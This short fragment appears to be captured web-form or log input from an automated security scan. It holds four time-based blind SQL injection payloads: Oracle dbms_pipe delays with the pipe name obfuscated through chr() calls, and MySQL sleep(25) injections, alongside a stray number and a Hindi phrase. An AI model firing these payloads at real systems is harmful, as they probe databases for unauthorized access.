3
1' || (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) || '
(select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual)
((select sleep(25)))a-- 1
-1 AND ((SELECT 1 FROM (SELECT 2)a WHERE 1=sleep(25)))-- 1
दूरसंचार विभाग
